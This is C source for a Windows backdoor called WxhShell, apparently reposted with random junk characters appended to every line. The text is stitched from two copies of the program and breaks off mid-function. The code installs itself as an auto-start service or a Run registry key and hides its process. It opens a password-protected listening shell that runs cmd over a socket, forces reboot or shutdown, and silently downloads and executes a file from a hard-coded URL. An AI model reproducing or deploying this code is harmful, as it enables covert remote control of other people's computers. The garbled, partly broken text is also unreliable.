    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =}vT>b  
    if(Boot(SHUTDOWN)) "|h%Uy?XY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - 8p!,+Dk  
    else { <%HRs>4  
    closesocket(wsh); K#YQB3rX  
    ExitThread(0); 0?<#!  
    } TWzLJ63*  
    break; 1h&`mqY)L.  
    } IdQ./@?  
  // 获取shell X/yq<_ g  
  case 's': { p&h?p\IF  
    CmdShell(wsh); z Fo11;*D  
    closesocket(wsh); f<NR6],}  
    ExitThread(0); f#= c=e-A  
    break; P( hGkY=(  
  } X_]rtG  
  // 退出 BH">#&j[  
  case 'x': { O2?C *  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1@DC#2hPr  
    CloseIt(wsh); 9@lWI  
    break; X` zWw_i  
    } gv''A"  
  // 离开 unLhI0XW  
  case 'q': { TIWR[r1!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (k?H T'3)  
    closesocket(wsh); G3~`]qf  
    WSACleanup(); [ QiG0D_'=  
    exit(1); H"#ITL  
    break; f#\YX tR,k  
        } &EfQ%r}C  
  } l~6K}g?  
  } %GHGd'KO&  
T#) )_aC  
  // 提示信息 Upe}9xf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]mTBD<3\  
} >2'"}np*  
  } w G%W{T$  
;V xRaj?  
  return; cJ;Nh>ey  
} Rff F:,b  
FJ:^pROpm  
// shell模块句柄 w&q[%(G_  
int CmdShell(SOCKET sock) !sb r!Qt  
{ UFG_ZoD+  
STARTUPINFO si; }yz>(Pq  
ZeroMemory(&si,sizeof(si)); V ~C$|+>e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ffZ~r%25{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5E&#Kh(I  
PROCESS_INFORMATION ProcessInfo; Z0F~?  
char cmdline[]="cmd"; ,#K/+T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n0xGIq  
  return 0; #c^V %  
} *m~-8_ >;  
Vw;Z0_C  
// 自身启动模式 '<R>cN"  
int StartFromService(void) R4m {D  
{ 5*AXL .2ih  
typedef struct Zt`Tg7m  
{ o*S_"  
  DWORD ExitStatus; \^x{NV@v42  
  DWORD PebBaseAddress; $ik*!om5  
  DWORD AffinityMask; P {TJ$  
  DWORD BasePriority; cHs3:F~~  
  ULONG UniqueProcessId; Ld4U  
  ULONG InheritedFromUniqueProcessId; S+ kq1R  
}   PROCESS_BASIC_INFORMATION; 1E+12{~m"i  
Vy\Vpp  
PROCNTQSIP NtQueryInformationProcess; -V2\s  
N3%X>*'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2 !s&|lI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %rzPh<>e  
"Ms;sdjg}&  
  HANDLE             hProcess; W>K^55'  
  PROCESS_BASIC_INFORMATION pbi; XKoY!Y\  
rUiYR]mV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lc*>sOm9  
  if(NULL == hInst ) return 0; J|`0GDSn  
#b/qR^2qW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '7Gv_G_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h051Ol\v*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I;(3)^QH#  
XLN bV?  
  if (!NtQueryInformationProcess) return 0; {]0e=#hw  
$></%S2g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?'a8QJo  
  if(!hProcess) return 0; JMb_00r  
Cp8=8N(Xb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nwvlv{k'  
EBj^4=b[  
  CloseHandle(hProcess); KZm&sk=QM-  
vg z`+Zj*S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nk|cU;?+  
if(hProcess==NULL) return 0; U!wi;W2  
wP!X)p\  
HMODULE hMod; p3Sh%=HE'  
char procName[255]; }>A q<1%  
unsigned long cbNeeded; 8v4}h9*F"7  
S c)^k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _?{7%(C  
64s;EC  
  CloseHandle(hProcess); _P>YG<*"kQ  
.E4* >@M5  
if(strstr(procName,"services")) return 1; // 以服务启动 E5k)~P`|  
z _!ut  
  return 0; // 注册表启动 NGx3f3 9  
} 6TtB3;5  
La4S/.  
// 主模块 v}B%:1P4  
int StartWxhshell(LPSTR lpCmdLine) Ve,g9I  
{ !"<[&  
  SOCKET wsl; [>=!$>>;8  
BOOL val=TRUE; rP@#_(22  
  int port=0; p>6`jr  
  struct sockaddr_in door; bO '\QtW9  
V%Uj\cv  
  if(wscfg.ws_autoins) Install(); ,_[x|8m  
s|[>@~gXk  
port=atoi(lpCmdLine); WK ~H]w  
%y1!'R:ZW  
if(port<=0) port=wscfg.ws_port; jc^QWK*q  
Lb*KEF%s  
  WSADATA data; &#r+a'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LQ+/|_(.  
baxZ>KNi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8|u4xf<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k+<9 45kC  
  door.sin_family = AF_INET; Bo 35L:r|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $( hT{C,K  
  door.sin_port = htons(port); &w@]\7L,:  
ui8 Q2{z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )uPJ? 2S9  
closesocket(wsl); 3h@]cWp  
return 1; 20:F$d  
} ;KeU f(tH  
s**<=M GK  
  if(listen(wsl,2) == INVALID_SOCKET) { >)><u4}  
closesocket(wsl); 8tY>%A~^z  
return 1; nl@an!z  
} 3jmo[<p*x  
  Wxhshell(wsl); ! 'zd(kv<  
  WSACleanup(); 4{VO:(geZ  
tUn >=>cWP  
return 0; \pmS*Dt  
TlG>)Z@/  
} N&9o  1_}  
T j$'B[cv  
// 以NT服务方式启动 !avol/*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +WX/4_STV  
{ }gp@0ri%5  
DWORD   status = 0; B(Sy.n  
  DWORD   specificError = 0xfffffff; [&x9<f6  
, X5.|9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1.hWgWDP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aSR-.r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `~1!nfFD  
  serviceStatus.dwWin32ExitCode     = 0; yR}. Xq/  
  serviceStatus.dwServiceSpecificExitCode = 0; V<ESj K8  
  serviceStatus.dwCheckPoint       = 0; w.qtSW6M+  
  serviceStatus.dwWaitHint       = 0; BN/ 4O?jD9  
C]^Ep  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i'~-\F!  
  if (hServiceStatusHandle==0) return; xR7ZqTcw  
Gnc`CyN:H  
status = GetLastError(); Q|y }mC/  
  if (status!=NO_ERROR) Psb !Z(  
{ Pt]>AW;i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K<JzIuf&  
    serviceStatus.dwCheckPoint       = 0; 7ZcF0h  
    serviceStatus.dwWaitHint       = 0; ycA<l"  
    serviceStatus.dwWin32ExitCode     = status; QM$UxWo-  
    serviceStatus.dwServiceSpecificExitCode = specificError; qwTz7r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r]B8\5|<d  
    return; 2y [Q  
  } =8FvkNr  
W4$o\yA]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X>(1fra4  
  serviceStatus.dwCheckPoint       = 0; ,67Q!/O  
  serviceStatus.dwWaitHint       = 0; A40DbD\^ad  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >e]g T  
} (;NJ<x  
''17(%  
// 处理NT服务事件,比如:启动、停止 woI5aee|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]8G 'R-8}  
{ }\ _.Mg^y  
switch(fdwControl) yOM/UdWq  
{ [8V;Q  
case SERVICE_CONTROL_STOP: ~ |G&cg  
  serviceStatus.dwWin32ExitCode = 0; lg%fjBY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vaxg   
  serviceStatus.dwCheckPoint   = 0; !-I,Dh-A  
  serviceStatus.dwWaitHint     = 0; DE13x *2  
  { 5Cf!NNV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4jT6h9%  
  } /2^L;#  
  return; "2%z;!U1  
case SERVICE_CONTROL_PAUSE: ?0qVyK_1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s 6Wp"V(  
  break; BR|!ya+_2  
case SERVICE_CONTROL_CONTINUE: Bfb~<rs[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D%>Bj>xQD  
  break; W'G|sk  
case SERVICE_CONTROL_INTERROGATE: j cd<'\;  
  break; j?T'N:Qd  
}; RB>=#03  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X'A`" }=_  
} ]4~Yi1]  
+IZ=E >a  
// 标准应用程序主函数 VZ]iep  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "&(/bdah?&  
{ H4M=&"ll}  
Sv=YI  
// 获取操作系统版本 bW yimr&B  
OsIsNt=GetOsVer(); FvT&nb{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &1 \/B  
,GOIg|51  
  // 从命令行安装 rFzNdiY  
  if(strpbrk(lpCmdLine,"iI")) Install(); W]4Z4&  
zDF Nx:h  
  // 下载执行文件 }G4I9Py  
if(wscfg.ws_downexe) { ^sv|m"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &X4anH>O  
  WinExec(wscfg.ws_filenam,SW_HIDE); @52#ZWy  
} E|pT6  
#.8v[TkKq  
if(!OsIsNt) { 5:PS74/  
// 如果时win9x,隐藏进程并且设置为注册表启动 _z p<en[  
HideProc(); +!).'  
StartWxhshell(lpCmdLine); \((MoQ9Qk  
} Iv6 lE:)  
else rgy I:F.  
  if(StartFromService()) 'O a3 6@  
  // 以服务方式启动 gUiO66#x  
  StartServiceCtrlDispatcher(DispatchTable); 082}=Tsx   
else Xj, %t}  
  // 普通方式启动 We6eAP/Z  
  StartWxhshell(lpCmdLine); &%J{uRp  
@@R Mm$  
return 0; ]*dYX=6  
} s|IBX0^@  
OvH:3 "Sdy  
EBhdP  
aEf3hB*~  
=========================================== P9!awLM-  
he|Q (?  
"{<X! ^u>  
qrMED_(D  
~+.=  
m .++nF  
" = gF035  
6R :hsC$  
#include <stdio.h> w!lk&7Q7Z  
#include <string.h> zJXK:/  
#include <windows.h> 2poo@]M/  
#include <winsock2.h> }u#3hYa  
#include <winsvc.h> 81nD:]7  
#include <urlmon.h> ,#;hI{E  
<^s31.&p  
#pragma comment (lib, "Ws2_32.lib") 7U7!'xU  
#pragma comment (lib, "urlmon.lib") ~vTwuc\(H  
tR51Pw  
#define MAX_USER   100 // 最大客户端连接数 %P}H3;2  
#define BUF_SOCK   200 // sock buffer %OoH<\w w  
#define KEY_BUFF   255 // 输入 buffer RUY7Y?  
O=__w *<  
#define REBOOT     0   // 重启 ")KqPD6k  
#define SHUTDOWN   1   // 关机 !-MY< '  
aiPm.h>  
#define DEF_PORT   5000 // 监听端口 B}[CU='P*  
=!-}q  
#define REG_LEN     16   // 注册表键长度 ge`GQ>  
#define SVC_LEN     80   // NT服务名长度 'p5M|h\:T  
=`x }9|[  
// 从dll定义API F'MX9P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k'r}@-X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JuZkE9C,${  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H!*ypJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FS}b9sQ)  
}etdXO_^  
// wxhshell配置信息 +iQ@J+k  
struct WSCFG { k, N{  
  int ws_port;         // 监听端口 F]M-r{  
  char ws_passstr[REG_LEN]; // 口令 DpggZ|J  
  int ws_autoins;       // 安装标记, 1=yes 0=no xJZaV!N|  
  char ws_regname[REG_LEN]; // 注册表键名 N]F RL\K  
  char ws_svcname[REG_LEN]; // 服务名 P;"moluE;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @Ommd{0M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 # fqrZ9:@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TG;[,oa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4Q!A w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m 3UK`~ji  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D\M"bf>q1  
7c"Csq/]I  
}; R'sNMWM  
.@): Uh  
// default Wxhshell configuration J4ZHE\  
struct WSCFG wscfg={DEF_PORT, j7)mC4o:%  
    "xuhuanlingzhe", dQT[pNp:  
    1, pO *[~yq5  
    "Wxhshell", JPF6zzl)  
    "Wxhshell", *rTg>)  
            "WxhShell Service", &|Wqzdo?#  
    "Wrsky Windows CmdShell Service", 7j)ky2r#  
    "Please Input Your Password: ", M(L6PyEa!Y  
  1, U;/2\Ii  
  "http://www.wrsky.com/wxhshell.exe", QM8Ic,QFvo  
  "Wxhshell.exe" R*vQvO%)h  
    }; ,c"J[$i$  
VwH|ed$  
// 消息定义模块 ,K[e?(RP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T1qbb*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .1TuHC\mC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W`PJ flr|  
char *msg_ws_ext="\n\rExit."; YyYZD{^  
char *msg_ws_end="\n\rQuit."; 9h|6"6  
char *msg_ws_boot="\n\rReboot..."; |!] "y<  
char *msg_ws_poff="\n\rShutdown..."; vyDxX  
char *msg_ws_down="\n\rSave to "; ^'[QCwY~  
>3p~>;9sc  
char *msg_ws_err="\n\rErr!"; E"9(CjbQ[  
char *msg_ws_ok="\n\rOK!"; \(Oc3+n6  
7f+@6jqD\)  
char ExeFile[MAX_PATH]; |dQz(z&6{5  
int nUser = 0; H?O5 "4a  
HANDLE handles[MAX_USER]; 6!>p<p"Ns  
int OsIsNt; XfE0P(sE  
%SB4_ r*<  
SERVICE_STATUS       serviceStatus; /pjl6dJ t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !#pc@(rE  
)T"Aji-hy  
// 函数声明 ]7}!3m  
int Install(void); ~-Kx^3(#  
int Uninstall(void); 2b7-=/[6  
int DownloadFile(char *sURL, SOCKET wsh); <=p>0L  
int Boot(int flag); MlYm\x8{M  
void HideProc(void); |` ~ioF  
int GetOsVer(void); ;U>nj],uv  
int Wxhshell(SOCKET wsl); IQU1 JVk Z  
void TalkWithClient(void *cs); @]q^O MLY  
int CmdShell(SOCKET sock); Bc.de&Bxz_  
int StartFromService(void); K?J_cnJ`  
int StartWxhshell(LPSTR lpCmdLine); vD@|]@gq  
}xC2~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Pw<'rN8''  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C]2-V1,ZX  
V<#KFm$>C  
// 数据结构和表定义 ic`BDkNO  
SERVICE_TABLE_ENTRY DispatchTable[] = 27N;>   
{ e1a\ --  
{wscfg.ws_svcname, NTServiceMain}, hy~[7:/<I&  
{NULL, NULL} R/x3+_.f  
}; ('J@GTe@xj  
aC`>~uX##V  
// 自我安装 k*?T^<c3  
int Install(void) lGr=I-=  
{ pC:YT/J  
  char svExeFile[MAX_PATH]; F}{%*EJ  
  HKEY key; >BO$tbU5b  
  strcpy(svExeFile,ExeFile); |hxiARr4  
UBuh '?j  
// 如果是win9x系统,修改注册表设为自启动 lXTE#,XVf  
if(!OsIsNt) { i<F7/p "-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lND2Kb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OC*28)  
  RegCloseKey(key); IrQ.[?C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  .x%w#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h_?`ESI~  
  RegCloseKey(key); >I\B_q  
  return 0; wp&G]/4m  
    } [-*&ZYp  
  } d^A]]Xg  
} T='uqKW\  
else { 4*qBu}(  
)>{ .t=#  
// 如果是NT以上系统,安装为系统服务 te( H6c#0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uCr& `  
if (schSCManager!=0) BJwuN  
{ F8Ety^9>9  
  SC_HANDLE schService = CreateService "6\ 5eFN;  
  ( R`@T<ob)  
  schSCManager, l+@;f(8}  
  wscfg.ws_svcname, iOg4(SPci  
  wscfg.ws_svcdisp, ]uox ^HC  
  SERVICE_ALL_ACCESS, pZ'q_Oux  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \"(?k>]E  
  SERVICE_AUTO_START, ,i6E L  
  SERVICE_ERROR_NORMAL, pi"M*$  
  svExeFile, AMjr[!44 @  
  NULL, :W,S  
  NULL, 6}-No  
  NULL, |\Jnr3)  
  NULL, ,:PMS8pS  
  NULL @ &N  
  ); P6.PjK!Ar  
  if (schService!=0) ldUZ\z(*  
  { v|(]u3=1_  
  CloseServiceHandle(schService); nQmHYOF%  
  CloseServiceHandle(schSCManager); q~ a FV<Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nSyLt6zn\  
  strcat(svExeFile,wscfg.ws_svcname); +]cf/_8+s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0YFXF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3[u- LYW  
  RegCloseKey(key); lo>9 \ Po  
  return 0; - $<oY88  
    } ) n O ^Ay  
  } }R<t=):  
  CloseServiceHandle(schSCManager); +"-l~`+<es  
} u!|_bI3  
} ,Suk_aX>  
Axsezr/  
return 1; jKmjZz8L]%  
} # &.syD#  
T" {~mQ*  
// 自我卸载 kMCP .D45;  
int Uninstall(void) :Q DkaA  
{ AuQ|CXG-\  
  HKEY key; 4Y?2u  
5kw  K%  
if(!OsIsNt) { Gw3+TvwU+Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )&_bY~P  
  RegDeleteValue(key,wscfg.ws_regname); SX"|~Pi(  
  RegCloseKey(key); uX_#NP/2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cEu_p2(7!B  
  RegDeleteValue(key,wscfg.ws_regname); ((A@VcX  
  RegCloseKey(key); 0a89<yX  
  return 0; "O>~osj  
  } g)czJ=T2  
} \JM6zR^Ef  
} m8F$h-  
else { Ag9GYm  
1ARtFR2C{b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }{N#JTmjB#  
if (schSCManager!=0) 'O)v@p "  
{ <@(\z   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IW!x!~e  
  if (schService!=0) "<0!S~]  
  { +h"i6`g  
  if(DeleteService(schService)!=0) { "qq$i35x  
  CloseServiceHandle(schService); !6-t_S  
  CloseServiceHandle(schSCManager); uuEvH<1  
  return 0; *d C|X  
  } 5 NYS@76o7  
  CloseServiceHandle(schService); 5Jo'h]  
  } m+'1c}n^7  
  CloseServiceHandle(schSCManager); k*;U?C!  
} 5%2~/ "  
} HD KF>S_S  
mbbhz,  
return 1; 5V/&4$.U!  
} Z0Sqw  
Z~Q5<A9Jz  
// 从指定url下载文件 1R8tR#l  
int DownloadFile(char *sURL, SOCKET wsh) >97YK =  
{ CbM~\6 R  
  HRESULT hr; NOs00H  
char seps[]= "/"; ?MFC(Wsh  
char *token; C '[4jz0xF  
char *file; {2q"9Ox"  
char myURL[MAX_PATH]; [!%5(Ro_  
char myFILE[MAX_PATH]; t`Bk2Cc)+  
} 9zi5 o8  
strcpy(myURL,sURL); o=Z:0Ukl]  
  token=strtok(myURL,seps); *Hn=)q  
  while(token!=NULL) E|;>!MMA;  
  { S*G^U1Sc+  
    file=token; E|9`J00  
  token=strtok(NULL,seps); =)+^y}xb  
  } gH(#<f@ZI  
uq]=L  
GetCurrentDirectory(MAX_PATH,myFILE); Q<6* UUQm  
strcat(myFILE, "\\"); |Jx:#OM  
strcat(myFILE, file); ltNI+G  
  send(wsh,myFILE,strlen(myFILE),0); ^ulgZ2BQ|  
send(wsh,"...",3,0); ]Y]]X[@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (enr{1  
  if(hr==S_OK) bMc[0  
return 0; Z#u{th  
else q'S[TFMNE  
return 1; +I uu8t  
}OIe!  
} ?cWwt~N9  
tF,`v{-up  
// 系统电源模块 [O\ )R[J  
int Boot(int flag) iuWUr?`\  
{  cRK Lyb  
  HANDLE hToken; 8OOAPp$%|  
  TOKEN_PRIVILEGES tkp; s2,6aW C  
D6lzc f  
  if(OsIsNt) { !)oQ9,N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^"<Bk<b(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U0 -RG  
    tkp.PrivilegeCount = 1; . h)VR 5?j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mQVlE__ub  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,1 H|{<  
if(flag==REBOOT) { 1ik.|T<f0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &I ~'2mpk  
  return 0; >{Ayzz>v  
} 1^]IuPxq  
else { N}/V2K]Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  lPz`?Hn  
  return 0; ]lKUpsQI  
} d1.@v;  
  } lmcgOTT):  
  else { mN{H^  
if(flag==REBOOT) { zfDfy!\2_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) el$@^Wy&$  
  return 0; Z L0Vx6Ph  
} 38-kl,Vw  
else { @>VX]Qe^X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5I[:.o0  
  return 0; }#.OJub  
} MjQ>& fUK  
} 6miXaAA8  
xr.;B`T0\'  
return 1; :KC]1_zqR  
} V1Ft3Msq  
hy#nK:B  
// win9x进程隐藏模块 MA9E??p3\  
void HideProc(void) +(Hp ".gU  
{ s w >B  
$27OrXQ|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *lZ V3F  
  if ( hKernel != NULL ) rgXX,+cO  
  { q}jh>`d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |#t^D.j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !ckluj  
    FreeLibrary(hKernel); IX 6 jb"  
  } }Uj-R3]}K  
CEkf0%YJ  
return; p);[;S  
} d\Up6F  
jK\kASwG  
// 获取操作系统版本 SefF Ci%4  
int GetOsVer(void) .(p_YjIA  
{ '%e@7Cs  
  OSVERSIONINFO winfo; p:tp |/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4VF]t X?o  
  GetVersionEx(&winfo); (oCpQDab@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WUYU\J&q3  
  return 1; Q+a&a]*KL^  
  else dw}ge,bBic  
  return 0; sw1gpkX  
} =j w?*  
KX\=wFbP)  
// 客户端句柄模块 ErA*a3  
int Wxhshell(SOCKET wsl) 9;*B*S~znW  
{ DV?c%z`YO  
  SOCKET wsh; ae3 Gn }tf  
  struct sockaddr_in client; 0ZD)(ps|  
  DWORD myID; =<(6yu_  
`v(!IBP|  
  while(nUser<MAX_USER) :zIB3nT^  
{ JC$_Pg!  
  int nSize=sizeof(client); g]MgT-C|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |LZ+_  
  if(wsh==INVALID_SOCKET) return 1; ZBK)rmhMx  
~.e~YI80  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RK&RMN8@  
if(handles[nUser]==0) [70 _uq  
  closesocket(wsh); l9%ckC*q  
else ZZ}HgPZ  
  nUser++; =mwAbh)[7n  
  } ] -C*d$z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ea" -n9  
iqX%pR~Yo  
  return 0; BUI#y `J  
} ;x|? N*  
|P9MhfN  
// 关闭 socket ;l `(1Q/  
void CloseIt(SOCKET wsh) !*qQ 7  
{ n|.>41bJ  
closesocket(wsh); 9O&MsTmg$  
nUser--; _jCu=l_  
ExitThread(0); W`#E[g?]  
} %,8 "cM`D  
9QF,ynE  
// 客户端请求句柄 Lrt~Q:z2u  
void TalkWithClient(void *cs) j}}as  
{ oO &%&;[/A  
%t.\J:WN;  
  SOCKET wsh=(SOCKET)cs; e9k$5ps  
  char pwd[SVC_LEN]; S}/ZHo  
  char cmd[KEY_BUFF]; Y)S f;  
char chr[1]; QUXr#!rPY|  
int i,j; XGnC8Be{4  
R6GlQ G  
  while (nUser < MAX_USER) { bV)h\:oC  
F&+_z&n)  
if(wscfg.ws_passstr) { 0x,4H30t(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }lx'NY~(W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }vF=XA  
  //ZeroMemory(pwd,KEY_BUFF); p7Yb8#XfU  
      i=0; +q432ZG  
  while(i<SVC_LEN) { 7S_"h*Ud  
5Yk|  
  // 设置超时 @-1VN;N  
  fd_set FdRead; ?|<p^:  
  struct timeval TimeOut; \rbvlO?}  
  FD_ZERO(&FdRead); 8Sf}z@~]  
  FD_SET(wsh,&FdRead); ~fpk`&nhe  
  TimeOut.tv_sec=8; aHle s5   
  TimeOut.tv_usec=0; sPX~>8}|VP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]INt9Pvqm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2-duzc  
{4R;C~E8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #@M'*X_%}K  
  pwd=chr[0]; V8%( h[  
  if(chr[0]==0xd || chr[0]==0xa) { Zqg AgN@  
  pwd=0; bwjLMWEVq  
  break; t/x]vCP,2D  
  } Zq/=uB7Z  
  i++; `g}en%5b\  
    } 2DBFY1[Pk  
5.Nc6$ N  
  // 如果是非法用户,关闭 socket / Kj;%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2+\@0j[q  
} ?+{qmqN  
f5CnJhE|)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @7Nc*-SM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u&Xn#f h  
^12}#I  
while(1) { LtDGu})1  
>$A,B  
  ZeroMemory(cmd,KEY_BUFF); VsRdZ4  
N?%FVF  
      // 自动支持客户端 telnet标准   ]<o^Q[OL  
  j=0; d+7Dy3i|g=  
  while(j<KEY_BUFF) { PrEfJ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sGbk4g  
  cmd[j]=chr[0]; _7-P8"m  
  if(chr[0]==0xa || chr[0]==0xd) { H#I%6k*\a  
  cmd[j]=0; `hl1R3nBM  
  break; Wl>$<D4mO[  
  } Ac Y!  
  j++; KSl@V>!_  
    } vau#?U".}>  
4g/Ly8  
  // 下载文件 lJ4&kF=t  
  if(strstr(cmd,"http://")) { B}ASZYpW>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rgrsNr:1  
  if(DownloadFile(cmd,wsh)) 9D& 22hL4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {F$MZ2E  
  else Gc:oS vm  
